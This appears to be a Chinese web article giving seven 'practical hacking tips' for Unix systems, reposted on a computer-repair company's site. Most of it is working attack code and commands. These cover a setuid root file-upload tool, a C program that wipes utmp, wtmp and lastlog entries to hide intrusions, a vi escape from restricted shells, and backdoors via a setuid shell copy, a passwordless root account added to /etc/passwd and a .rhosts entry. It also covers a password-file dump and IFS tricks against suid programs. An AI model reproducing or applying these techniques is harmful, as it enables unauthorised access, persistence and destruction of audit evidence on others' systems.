设为主页 | 加入收藏 | 繁體中文

黑客入侵实用技巧7则

  侵入成功后,拿到root权限了,这个东东可以把他的服务器的访问权限改了,让任何人都可以上传文件 !
  root 状 态 下, 运 行 install 后,
  upload 将 允 许 普 通 用 户 上 载 文 件 至 任 何 目 录 下。
  # chmod 755 install
  #./install
  $ more install
  #! /bin/csh -f
  cc upload.c
  cp a.out upload
  chown root upload
  chmod 755 upload
  chmod u+s upload
  $ more upload.c
  #include
  main()
  {
  char filename[48];
  printf( "this program will upload up.txt ascii file to specified file\n" );
  printf( "xxx copyright reserved\n" );
  printf( "where to upload (include path and filename)? " );
  gets( filename );
  upload( filename );
  }
  int upload( filename )
  char *filename;
  {
  file *fp,*outp;
  char c;
  fp=fopen( "up.txt","r" );
  outp=fopen( filename,"w" );
  if( fp== null ) {
  printf( "file not exist." );
  return 0;
  }
  for( ;; ) {
  c= fgetc( fp );
  if feof( fp ) break;
  printf( "%c",c );
  fputc( c, outp );
  }
  fclose( fp );
  fclose( outp );
  return 1;
  }
  2、破坏现场
  进入系统后,出来以前怎样破坏现场?抹掉自己的脚印?
  编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog.
  请使用专门的编辑器
  例子:
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #define wtmp_name "/usr/adm/wtmp"
  #define utmp_name "/etc/utmp"
  #define lastlog_name "/usr/adm/lastlog"
  int f;
  void kill_utmp(who)
  char *who;
  {
  struct utmp utmp_ent;
  if ((f=open(utmp_name,o_rdwr))>=0) {
  while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  lseek (f, -(sizeof (utmp_ent)), seek_cur);
  write (f, &utmp_ent, sizeof (utmp_ent));
  }
  close(f);
  }
  }
  void kill_wtmp(who)
  char *who;
  {
  struct utmp utmp_ent;
  long pos;
  pos = 1l;
  if ((f=open(wtmp_name,o_rdwr))>=0) {
  while(pos != -1l) {
  lseek(f,-(long)( (sizeof(struct utmp)) * pos),l_xtnd);
  if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
  pos = -1l;
  } else {
  if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  bzero((char *)&utmp_ent,sizeof(struct utmp ));
  lseek(f,-( (sizeof(struct utmp)) * pos),l_xtnd);
  write (f, &utmp_ent, sizeof (utmp_ent));
  pos = -1l;
  } else pos += 1l;
  }
  }
  close(f);
  }
  }
  void kill_lastlog(who)
  char *who;
  {
  struct passwd *pwd;
  struct lastlog newll;
  if ((pwd=getpwnam(who))!=null) {
  if ((f=open(lastlog_name, o_rdwr)) >= 0) {
  lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  bzero((char *)&newll,sizeof( newll ));
  write(f, (char *)&newll, sizeof( newll ));
  close(f);
  }
  } else printf("%s: ?\n",who);
  }
  main(argc,argv)
  int argc;
  char *argv[];
  {
  if (argc==2) {
  kill_lastlog(argv[1]);
  kill_wtmp(argv[1]);
  kill_utmp(argv[1]);
  printf("zap2!\n");
  } else
  printf("error.\n");
  }
  3、突破shell
  很多打击系统的方法都需要打击者首先有一个命令行式的shell,如 /bin/csh 。但有些系统提提供用户的倒是菜单式的定制shell,如 pink 。以是如果你想打击这个系统的话,首先必需要突破这个定制shell。
  我们可以使用 vi (unix中尺度的编辑器) 的一些命令来到达这个目的。详细过程如下:
  (1).在定制shell中选择编辑文件,这时系统启动 vi。
  (2).在 vi 中,输入以下命令序列细致:输入的命令包罗最后面的 ":" )
  :set shell=/bin/csh
  :shell
  3.这时,就像在dos步伐的file菜单中选择dos shell菜单项一样,系统启动一个shell,而这个shell方才被我们设定成 /bin/csh,因而我们就得到了一个命令行式的unix shell。
  4、后门
  进入一个系统当前顺手留下一个后门确实是很好的习惯 这里先容几种简略的后门设置方法:
  (1). setuid
  #cp /bin/sh /tmp/.backdoor
  #chmod u+s /tmp/.backdoor
  加上 suid 位到shell 上,最为简略方便.
  (2). echo "wyj::0:0::/:/bin/csh" >> /etc/passwd
  即给系统增加一个 id 为 0(root)的帐号,无口令.
  (3). echo "+ wyj">>/.rhosts
  即当地的名为wyj的用户可以间接 rlogin target 无须口令此时的wyj就相当于口令,不知道的人是不能进去的.条件是目标的port 512or513or514 opening.
  5、用telnet上传文件
  如果ftp被关了,sendmail也不可,如何把编译好的文件上传到主机呢?
  方法很简略:
  1.先把要上传的文件用uuedcode举行编码,文件会酿成大概下面的样子:
  begin 644 file.bat
  m.c!j95@t92tp,#503u!=:%=e6#5d9%!>,2q&1d9&1c$l1d9&,2pt4%]j
  m95@t85!9+7@m04%28#!@*ctp,"500d])04%!049+04]"4$e$34-"04q%04i-
  m3d-"2d%,24%!14u-3d-"1d5"24=&0t%%3d="1t1(0t=02$="2da#2$9(1$-!
  m1ti(1$-!1t1"4$=.1ti"3t=(0t%#3t-/0t]#3t-/0t]!3d%+0t5!07%q<7$@
  m"d!%0ta/($]&1b`*0t]062`e,"y"050@+t(@0si<0d%45de2+d-/32`o0b`o
  e62`*0si<0d%45de2+d-/32`*1$5,($,z7$)!5%9)4by#3tt@"@``
  `
  end
  sum -r/size 17903/262
  全部都是可见的ascii字符了
  2.用telnet连接到主机后输入
  $ cat >a
  然后用winodws的拷贝/粘贴,把文件粘贴到telnet窗口
  按^d
  在当前目录下孕育发生文件a
  3.uudecode a
  文件回复复兴,然后chmod即可
  6、破解shadow
  很多系统下写一个小步伐不停的调用getpwent() 函数便能得到没有shadow过的暗码档
  #include
  main()
  {
  struct passwd *p;
  while(p=getpwent())
  printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
  p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
  }
  7、从suid剧本或步伐中得到root
  (1).如果该步伐中有包罗一个雷同下面的数据:
  system("/bin/date")
  这时你可以把自己的ifs改为"/":
  ifs="/";export ifs # bourne shell
  setenv ifs "/" # c shell
  export ifs="/" # korn shell
  这时你只要有一个你自己的软件途径调用了"bin",suid步伐就会运行你的步伐,并取代/bin/date
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: